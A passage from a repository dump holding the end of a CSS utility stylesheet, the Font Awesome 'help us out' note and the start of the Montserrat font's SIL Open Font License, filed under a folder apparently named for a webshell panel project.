{margin-right: 143px;}\r\n.m-r-144 {margin-right: 144px;}\r\n.m-r-145 {margin-right: 145px;}\r\n.m-r-146 {margin-right: 146px;}\r\n.m-r-147 {margin-right: 147px;}\r\n.m-r-148 {margin-right: 148px;}\r\n.m-r-149 {margin-right: 149px;}\r\n.m-r-150 {margin-right: 150px;}\r\n.m-r-151 {margin-right: 151px;}\r\n.m-r-152 {margin-right: 152px;}\r\n.m-r-153 {margin-right: 153px;}\r\n.m-r-154 {margin-right: 154px;}\r\n.m-r-155 {margin-right: 155px;}\r\n.m-r-156 {margin-right: 156px;}\r\n.m-r-157 {margin-right: 157px;}\r\n.m-r-158 {margin-right: 158px;}\r\n.m-r-159 {margin-right: 159px;}\r\n.m-r-160 {margin-right: 160px;}\r\n.m-r-161 {margin-right: 161px;}\r\n.m-r-162 {margin-right: 162px;}\r\n.m-r-163 {margin-right: 163px;}\r\n.m-r-164 {margin-right: 164px;}\r\n.m-r-165 {margin-right: 165px;}\r\n.m-r-166 {margin-right: 166px;}\r\n.m-r-167 {margin-right: 167px;}\r\n.m-r-168 {margin-right: 168px;}\r\n.m-r-169 {margin-right: 169px;}\r\n.m-r-170 {margin-right: 170px;}\r\n.m-r-171 {margin-right: 171px;}\r\n.m-r-172 {margin-right: 172px;}\r\n.m-r-173 {margin-right: 173px;}\r\n.m-r-174 {margin-right: 174px;}\r\n.m-r-175 {margin-right: 175px;}\r\n.m-r-176 {margin-right: 176px;}\r\n.m-r-177 {margin-right: 177px;}\r\n.m-r-178 {margin-right: 178px;}\r\n.m-r-179 {margin-right: 179px;}\r\n.m-r-180 {margin-right: 180px;}\r\n.m-r-181 {margin-right: 181px;}\r\n.m-r-182 {margin-right: 182px;}\r\n.m-r-183 {margin-right: 183px;}\r\n.m-r-184 {margin-right: 184px;}\r\n.m-r-185 {margin-right: 185px;}\r\n.m-r-186 {margin-right: 186px;}\r\n.m-r-187 {margin-right: 187px;}\r\n.m-r-188 {margin-right: 188px;}\r\n.m-r-189 {margin-right: 189px;}\r\n.m-r-190 {margin-right: 190px;}\r\n.m-r-191 {margin-right: 191px;}\r\n.m-r-192 {margin-right: 192px;}\r\n.m-r-193 {margin-right: 193px;}\r\n.m-r-194 {margin-right: 194px;}\r\n.m-r-195 {margin-right: 195px;}\r\n.m-r-196 {margin-right: 196px;}\r\n.m-r-197 {margin-right: 197px;}\r\n.m-r-198 {margin-right: 198px;}\r\n.m-r-199 {margin-right: 199px;}\r\n.m-r-200 {margin-right: 200px;}\r\n.m-r-201 {margin-right: 201px;}\r\n.m-r-202 {margin-right: 202px;}\r\n.m-r-203 {margin-right: 203px;}\r\n.m-r-204 {margin-right: 204px;}\r\n.m-r-205 {margin-right: 205px;}\r\n.m-r-206 {margin-right: 206px;}\r\n.m-r-207 {margin-right: 207px;}\r\n.m-r-208 {margin-right: 208px;}\r\n.m-r-209 {margin-right: 209px;}\r\n.m-r-210 {margin-right: 210px;}\r\n.m-r-211 {margin-right: 211px;}\r\n.m-r-212 {margin-right: 212px;}\r\n.m-r-213 {margin-right: 213px;}\r\n.m-r-214 {margin-right: 214px;}\r\n.m-r-215 {margin-right: 215px;}\r\n.m-r-216 {margin-right: 216px;}\r\n.m-r-217 {margin-right: 217px;}\r\n.m-r-218 {margin-right: 218px;}\r\n.m-r-219 {margin-right: 219px;}\r\n.m-r-220 {margin-right: 220px;}\r\n.m-r-221 {margin-right: 221px;}\r\n.m-r-222 {margin-right: 222px;}\r\n.m-r-223 {margin-right: 223px;}\r\n.m-r-224 {margin-right: 224px;}\r\n.m-r-225 {margin-right: 225px;}\r\n.m-r-226 {margin-right: 226px;}\r\n.m-r-227 {margin-right: 227px;}\r\n.m-r-228 {margin-right: 228px;}\r\n.m-r-229 {margin-right: 229px;}\r\n.m-r-230 {margin-right: 230px;}\r\n.m-r-231 {margin-right: 231px;}\r\n.m-r-232 {margin-right: 232px;}\r\n.m-r-233 {margin-right: 233px;}\r\n.m-r-234 {margin-right: 234px;}\r\n.m-r-235 {margin-right: 235px;}\r\n.m-r-236 {margin-right: 236px;}\r\n.m-r-237 {margin-right: 237px;}\r\n.m-r-238 {margin-right: 238px;}\r\n.m-r-239 {margin-right: 239px;}\r\n.m-r-240 {margin-right: 240px;}\r\n.m-r-241 {margin-right: 241px;}\r\n.m-r-242 {margin-right: 242px;}\r\n.m-r-243 {margin-right: 243px;}\r\n.m-r-244 {margin-right: 244px;}\r\n.m-r-245 {margin-right: 245px;}\r\n.m-r-246 {margin-right: 246px;}\r\n.m-r-247 {margin-right: 247px;}\r\n.m-r-248 {margin-right: 248px;}\r\n.m-r-249 {margin-right: 249px;}\r\n.m-r-250 {margin-right: 250px;}\r\n.m-l-r-auto {margin-left: auto;\tmargin-right: auto;}\r\n.m-l-auto {margin-left: auto;}\r\n.m-r-auto {margin-right: auto;}\r\n\r\n\r\n\r\n/*[ TEXT ]\r\n///////////////////////////////////////////////////////////\r\n*/\r\n/* ------------------------------------ */\r\n.text-white {color: white;}\r\n.text-black {color: black;}\r\n\r\n.text-hov-white:hover {color: white;}\r\n\r\n/* ------------------------------------ */\r\n.text-up {text-transform: uppercase;}\r\n\r\n/* ------------------------------------ */\r\n.text-center {text-align: center;}\r\n.text-left {text-align: left;}\r\n.text-right {text-align: right;}\r\n.text-middle {vertical-align: middle;}\r\n\r\n/* ------------------------------------ */\r\n.lh-1-0 {line-height: 1.0;}\r\n.lh-1-1 {line-height: 1.1;}\r\n.lh-1-2 {line-height: 1.2;}\r\n.lh-1-3 {line-height: 1.3;}\r\n.lh-1-4 {line-height: 1.4;}\r\n.lh-1-5 {line-height: 1.5;}\r\n.lh-1-6 {line-height: 1.6;}\r\n.lh-1-7 {line-height: 1.7;}\r\n.lh-1-8 {line-height: 1.8;}\r\n.lh-1-9 {line-height: 1.9;}\r\n.lh-2-0 {line-height: 2.0;}\r\n.lh-2-1 {line-height: 2.1;}\r\n.lh-2-2 {line-height: 2.2;}\r\n.lh-2-3 {line-height: 2.3;}\r\n.lh-2-4 {line-height: 2.4;}\r\n.lh-2-5 {line-height: 2.5;}\r\n.lh-2-6 {line-height: 2.6;}\r\n.lh-2-7 {line-height: 2.7;}\r\n.lh-2-8 {line-height: 2.8;}\r\n.lh-2-9 {line-height: 2.9;}\r\n\r\n\r\n\r\n\r\n\r\n/*[ SHAPE ]\r\n///////////////////////////////////////////////////////////\r\n*/\r\n\r\n/*[ Display ]\r\n-----------------------------------------------------------\r\n*/\r\n.dis-none {display: none;}\r\n.dis-block {display: block;}\r\n.dis-inline {display: inline;}\r\n.dis-inline-block {display: inline-block;}\r\n.dis-flex {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n}\r\n\r\n/*[ Position ]\r\n-----------------------------------------------------------\r\n*/\r\n.pos-relative {position: relative;}\r\n.pos-absolute {position: absolute;}\r\n.pos-fixed {position: fixed;}\r\n\r\n/*[ float ]\r\n-----------------------------------------------------------\r\n*/\r\n.float-l {float: left;}\r\n.float-r {float: right;}\r\n\r\n\r\n/*[ Width & Height ]\r\n-----------------------------------------------------------\r\n*/\r\n.sizefull {\r\n\twidth: 100%;\r\n\theight: 100%;\r\n}\r\n.w-full {width: 100%;}\r\n.h-full {height: 100%;}\r\n.max-w-full {max-width: 100%;}\r\n.max-h-full {max-height: 100%;}\r\n.min-w-full {min-width: 100%;}\r\n.min-h-full {min-height: 100%;}\r\n\r\n/*[ Top Bottom Left Right ]\r\n-----------------------------------------------------------\r\n*/\r\n.top-0 {top: 0;}\r\n.bottom-0 {bottom: 0;}\r\n.left-0 {left: 0;}\r\n.right-0 {right: 0;}\r\n\r\n.top-auto {top: auto;}\r\n.bottom-auto {bottom: auto;}\r\n.left-auto {left: auto;}\r\n.right-auto {right: auto;}\r\n\r\n\r\n/*[ Opacity ]\r\n-----------------------------------------------------------\r\n*/\r\n.op-0-0 {opacity: 0;}\r\n.op-0-1 {opacity: 0.1;}\r\n.op-0-2 {opacity: 0.2;}\r\n.op-0-3 {opacity: 0.3;}\r\n.op-0-4 {opacity: 0.4;}\r\n.op-0-5 {opacity: 0.5;}\r\n.op-0-6 {opacity: 0.6;}\r\n.op-0-7 {opacity: 0.7;}\r\n.op-0-8 {opacity: 0.8;}\r\n.op-0-9 {opacity: 0.9;}\r\n.op-1-0 {opacity: 1;}\r\n\r\n/*[ Background ]\r\n-----------------------------------------------------------\r\n*/\r\n.bgwhite {background-color: white;}\r\n.bgblack {background-color: black;}\r\n\r\n\r\n\r\n/*[ Wrap Picture ]\r\n-----------------------------------------------------------\r\n*/\r\n.wrap-pic-w img {width: 100%;}\r\n.wrap-pic-max-w img {max-width: 100%;}\r\n\r\n/* ------------------------------------ */\r\n.wrap-pic-h img {height: 100%;}\r\n.wrap-pic-max-h img {max-height: 100%;}\r\n\r\n/* ------------------------------------ */\r\n.wrap-pic-cir {\r\n\tborder-radius: 50%;\r\n\toverflow: hidden;\r\n}\r\n.wrap-pic-cir img {\r\n\twidth: 100%;\r\n}\r\n\r\n\r\n\r\n/*[ Hover ]\r\n-----------------------------------------------------------\r\n*/\r\n.hov-pointer:hover {cursor: pointer;}\r\n\r\n/* ------------------------------------ */\r\n.hov-img-zoom {\r\n\tdisplay: block;\r\n\toverflow: hidden;\r\n}\r\n.hov-img-zoom img{\r\n\twidth: 100%;\r\n\t-webkit-transition: all 0.6s;\r\n    -o-transition: all 0.6s;\r\n    -moz-transition: all 0.6s;\r\n    transition: all 0.6s;\r\n}\r\n.hov-img-zoom:hover img {\r\n\t-webkit-transform: scale(1.1);\r\n  \t-moz-transform: scale(1.1);\r\n  \t-ms-transform: scale(1.1);\r\n  \t-o-transform: scale(1.1);\r\n\ttransform: scale(1.1);\r\n}\r\n\r\n\r\n\r\n/*[  ]\r\n-----------------------------------------------------------\r\n*/\r\n.bo-cir {border-radius: 50%;}\r\n\r\n.of-hidden {overflow: hidden;}\r\n\r\n.visible-false {visibility: hidden;}\r\n.visible-true {visibility: visible;}\r\n\r\n\r\n\r\n\r\n/*[ Transition ]\r\n-----------------------------------------------------------\r\n*/\r\n.trans-0-1 {\r\n\t-webkit-transition: all 0.1s;\r\n    -o-transition: all 0.1s;\r\n    -moz-transition: all 0.1s;\r\n    transition: all 0.1s;\r\n}\r\n.trans-0-2 {\r\n\t-webkit-transition: all 0.2s;\r\n    -o-transition: all 0.2s;\r\n    -moz-transition: all 0.2s;\r\n    transition: all 0.2s;\r\n}\r\n.trans-0-3 {\r\n\t-webkit-transition: all 0.3s;\r\n    -o-transition: all 0.3s;\r\n    -moz-transition: all 0.3s;\r\n    transition: all 0.3s;\r\n}\r\n.trans-0-4 {\r\n\t-webkit-transition: all 0.4s;\r\n    -o-transition: all 0.4s;\r\n    -moz-transition: all 0.4s;\r\n    transition: all 0.4s;\r\n}\r\n.trans-0-5 {\r\n\t-webkit-transition: all 0.5s;\r\n    -o-transition: all 0.5s;\r\n    -moz-transition: all 0.5s;\r\n    transition: all 0.5s;\r\n}\r\n.trans-0-6 {\r\n\t-webkit-transition: all 0.6s;\r\n    -o-transition: all 0.6s;\r\n    -moz-transition: all 0.6s;\r\n    transition: all 0.6s;\r\n}\r\n.trans-0-9 {\r\n\t-webkit-transition: all 0.9s;\r\n    -o-transition: all 0.9s;\r\n    -moz-transition: all 0.9s;\r\n    transition: all 0.9s;\r\n}\r\n.trans-1-0 {\r\n\t-webkit-transition: all 1s;\r\n    -o-transition: all 1s;\r\n    -moz-transition: all 1s;\r\n    transition: all 1s;\r\n}\r\n\r\n\r\n\r\n/*[ Layout ]\r\n///////////////////////////////////////////////////////////\r\n*/\r\n\r\n/*[ Flex ]\r\n-----------------------------------------------------------\r\n*/\r\n/* ------------------------------------ */\r\n.flex-w {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-wrap: wrap;\r\n\t-moz-flex-wrap: wrap;\r\n\t-ms-flex-wrap: wrap;\r\n\t-o-flex-wrap: wrap;\r\n\tflex-wrap: wrap;\r\n}\r\n\r\n/* ------------------------------------ */\r\n.flex-l {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: flex-start;\r\n}\r\n\r\n.flex-r {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: flex-end;\r\n}\r\n\r\n.flex-c {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: center;\r\n}\r\n\r\n.flex-sa {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: space-around;\r\n}\r\n\r\n.flex-sb {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: space-between;\r\n}\r\n\r\n/* ------------------------------------ */\r\n.flex-t {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-ms-align-items: flex-start;\r\n\talign-items: flex-start;\r\n}\r\n\r\n.flex-b {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-ms-align-items: flex-end;\r\n\talign-items: flex-end;\r\n}\r\n\r\n.flex-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n.flex-str {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-ms-align-items: stretch;\r\n\talign-items: stretch;\r\n}\r\n\r\n/* ------------------------------------ */\r\n.flex-row {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: row;\r\n\t-moz-flex-direction: row;\r\n\t-ms-flex-direction: row;\r\n\t-o-flex-direction: row;\r\n\tflex-direction: row;\r\n}\r\n\r\n.flex-row-rev {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: row-reverse;\r\n\t-moz-flex-direction: row-reverse;\r\n\t-ms-flex-direction: row-reverse;\r\n\t-o-flex-direction: row-reverse;\r\n\tflex-direction: row-reverse;\r\n}\r\n\r\n.flex-col {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n}\r\n\r\n.flex-col-rev {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column-reverse;\r\n\t-moz-flex-direction: column-reverse;\r\n\t-ms-flex-direction: column-reverse;\r\n\t-o-flex-direction: column-reverse;\r\n\tflex-direction: column-reverse;\r\n}\r\n\r\n/* ------------------------------------ */\r\n.flex-c-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: center;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n.flex-c-t {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: center;\r\n\t-ms-align-items: flex-start;\r\n\talign-items: flex-start;\r\n}\r\n\r\n.flex-c-b {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: center;\r\n\t-ms-align-items: flex-end;\r\n\talign-items: flex-end;\r\n}\r\n\r\n.flex-c-str {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: center;\r\n\t-ms-align-items: stretch;\r\n\talign-items: stretch;\r\n}\r\n\r\n.flex-l-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: flex-start;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n.flex-r-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: flex-end;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n.flex-sa-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: space-around;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n.flex-sb-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: space-between;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n/* ------------------------------------ */\r\n.flex-col-l {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\t-ms-align-items: flex-start;\r\n\talign-items: flex-start;\r\n}\r\n\r\n.flex-col-r {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\t-ms-align-items: flex-end;\r\n\talign-items: flex-end;\r\n}\r\n\r\n.flex-col-c {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n.flex-col-l-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\t-ms-align-items: flex-start;\r\n\talign-items: flex-start;\r\n\tjustify-content: center;\r\n}\r\n\r\n.flex-col-r-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\t-ms-align-items: flex-end;\r\n\talign-items: flex-end;\r\n\tjustify-content: center;\r\n}\r\n\r\n.flex-col-c-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n\tjustify-content: center;\r\n}\r\n\r\n.flex-col-str {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\t-ms-align-items: stretch;\r\n\talign-items: stretch;\r\n}\r\n\r\n.flex-col-sb {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\tjustify-content: space-between;\r\n}\r\n\r\n/* ------------------------------------ */\r\n.flex-col-rev-l {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column-reverse;\r\n\t-moz-flex-direction: column-reverse;\r\n\t-ms-flex-direction: column-reverse;\r\n\t-o-flex-direction: column-reverse;\r\n\tflex-direction: column-reverse;\r\n\t-ms-align-items: flex-start;\r\n\talign-items: flex-start;\r\n}\r\n\r\n.flex-col-rev-r {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column-reverse;\r\n\t-moz-flex-direction: column-reverse;\r\n\t-ms-flex-direction: column-reverse;\r\n\t-o-flex-direction: column-reverse;\r\n\tflex-direction: column-reverse;\r\n\t-ms-align-items: flex-end;\r\n\talign-items: flex-end;\r\n}\r\n\r\n.flex-col-rev-c {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column-reverse;\r\n\t-moz-flex-direction: column-reverse;\r\n\t-ms-flex-direction: column-reverse;\r\n\t-o-flex-direction: column-reverse;\r\n\tflex-direction: column-reverse;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n.flex-col-rev-str {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column-reverse;\r\n\t-moz-flex-direction: column-reverse;\r\n\t-ms-flex-direction: column-reverse;\r\n\t-o-flex-direction: column-reverse;\r\n\tflex-direction: column-reverse;\r\n\t-ms-align-items: stretch;\r\n\talign-items: stretch;\r\n}\r\n\r\n\r\n/*[ Absolute ]\r\n-----------------------------------------------------------\r\n*/\r\n.ab-c-m {\r\n\tposition: absolute;\r\n\ttop: 50%;\r\n\tleft: 50%;\r\n\t-webkit-transform: translate(-50%, -50%);\r\n  \t-moz-transform: translate(-50%, -50%);\r\n  \t-ms-transform: translate(-50%, -50%);\r\n  \t-o-transform: translate(-50%, -50%);\r\n\ttransform: translate(-50%, -50%);\r\n}\r\n\r\n.ab-c-t {\r\n\tposition: absolute;\r\n\ttop: 0px;\r\n\tleft: 50%;\r\n\t-webkit-transform: translateX(-50%);\r\n  \t-moz-transform: translateX(-50%);\r\n  \t-ms-transform: translateX(-50%);\r\n  \t-o-transform: translateX(-50%);\r\n\ttransform: translateX(-50%);\r\n}\r\n\r\n.ab-c-b {\r\n\tposition: absolute;\r\n\tbottom: 0px;\r\n\tleft: 50%;\r\n\t-webkit-transform: translateX(-50%);\r\n  \t-moz-transform: translateX(-50%);\r\n  \t-ms-transform: translateX(-50%);\r\n  \t-o-transform: translateX(-50%);\r\n\ttransform: translateX(-50%);\r\n}\r\n\r\n.ab-l-m {\r\n\tposition: absolute;\r\n\tleft: 0px;\r\n\ttop: 50%;\r\n\t-webkit-transform: translateY(-50%);\r\n  \t-moz-transform: translateY(-50%);\r\n  \t-ms-transform: translateY(-50%);\r\n  \t-o-transform: translateY(-50%);\r\n\ttransform: translateY(-50%);\r\n}\r\n\r\n.ab-r-m {\r\n\tposition: absolute;\r\n\tright: 0px;\r\n\ttop: 50%;\r\n\t-webkit-transform: translateY(-50%);\r\n  \t-moz-transform: translateY(-50%);\r\n  \t-ms-transform: translateY(-50%);\r\n  \t-o-transform: translateY(-50%);\r\n\ttransform: translateY(-50%);\r\n}\r\n\r\n.ab-t-l {\r\n\tposition: absolute;\r\n\tleft: 0px;\r\n\ttop: 0px;\r\n}\r\n\r\n.ab-t-r {\r\n\tposition: absolute;\r\n\tright: 0px;\r\n\ttop: 0px;\r\n}\r\n\r\n.ab-b-l {\r\n\tposition: absolute;\r\n\tleft: 0px;\r\n\tbottom: 0px;\r\n}\r\n\r\n.ab-b-r {\r\n\tposition: absolute;\r\n\tright: 0px;\r\n\tbottom: 0px;\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/fonts/font-awesome-4.7.0/HELP-US-OUT.txt",
    "content": "I hope you love Font Awesome. If you've found it useful, please do me a favor and check out my latest project,\nFort Awesome (https://fortawesome.com). It makes it easy to put the perfect icons on your website. Choose from our awesome,\ncomprehensive icon sets or copy and paste your own.\n\nPlease. Check it out.\n\n-Dave Gandy\n"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/fonts/montserrat/OFL.txt",
    "content": "Copyright 2011 The Montserrat Project Authors (https://github.com/JulietaUla/Montserrat)\r\n\r\nThis Font Software is licensed under the SIL Open Font License, Version 1.1.\r\nThis license is copied below, and is also available with a FAQ at:\r\nhttp://scripts.sil.org/OFL\r\n\r\n\r\n-----------------------------------------------------------\r\nSIL OPEN FONT LICENSE Version 1.1 - 26 February 2007\r\n-----------------------------------------------------------\r\n\r\nPREAMBLE\r\nThe goals of the Open Font License (OFL) are to stimulate worldwide\r\ndevelopment of collaborative font projects, to support the font creation\r\nefforts of academic and linguistic communities, and to provide a free and\r\nopen framework in which fonts may be shared and improved in partnership\r\nwith others.\r\n\r\nThe OFL allows the licensed fonts to be used, studied, modified and\r\nredistributed freely as long as they are not sold by themselves. The\r\nfonts, including any derivative works, can be bundled, embedded, \r\nredistributed and/or sold with any software provided that any reserved\r\nnames are not used by derivative works. The fonts and derivatives,\r\nhowever, cannot be released under any other type of license. The\r\nrequirement for fonts to remain under this license does not apply\r\nto any document created using the fonts or their derivatives.\r\n\r\nDEFINITIONS\r\n\"Font Software\" refers to the set of files released by the Copyright\r\nHolder(s) under this license and clearly marked as such. This may\r\ninclude source files, build scripts and documentation.\r\n\r\n\"Reserved Font Name\" refers to any names specified as such after the\r\ncopyright statement(s).\r\n\r\n\"Original Version\" refers to the collection of Font Software components as\r\ndistributed by the Copyright Holder(s).\r\n\r\n\"Modified Version\" refers to any derivative made by adding to, deleting,\r\nor substituting -- in part or in whole -- any of the components of the\r\nOriginal Version, by changing formats or by porting the Font Software to a\r\nnew environment.\r\n\r\n\"Author\" refers to any designer, engineer, programmer, technical\r\nwriter or other person who contributed to the Font Software.\r\n\r\nPERMISSION & CONDITIONS\r\nPermission is hereby granted, free of charge, to any person obtaining\r\na copy of the Font Software, to use, study, copy, merge, embed, modify,\r\nredistribute, and sell modified and unmodified copies of the Font\r\nSoftware, subject to the following conditions:\r\n\r\n1) Neither the Font Software nor any of its individual components,\r\nin Original or Modified Versions, may be sold by itself.\r\n\r\n2) Original or Modified Versions of the Font Software may be bundled,\r\nredistributed and/or sold with any software, provided that each copy\r\ncontains the above copyright notice and this license. These can be\r\nincluded either as stand-alone text files, human-readable headers or\r\nin the appropriate machine-readable metadata fields within text or\r\nbinary files as long as those fields can be easily viewed by the user.\r\n\r\n3) No Modified Version of the Font Software may use the Reserved Font\r\nName(s) unless explicit written permission is granted by the corresponding\r\nCopyright Holder. This restriction only applies to the primary font name as\r\npresented to the users.\r\n\r\n4) The name(s) of the 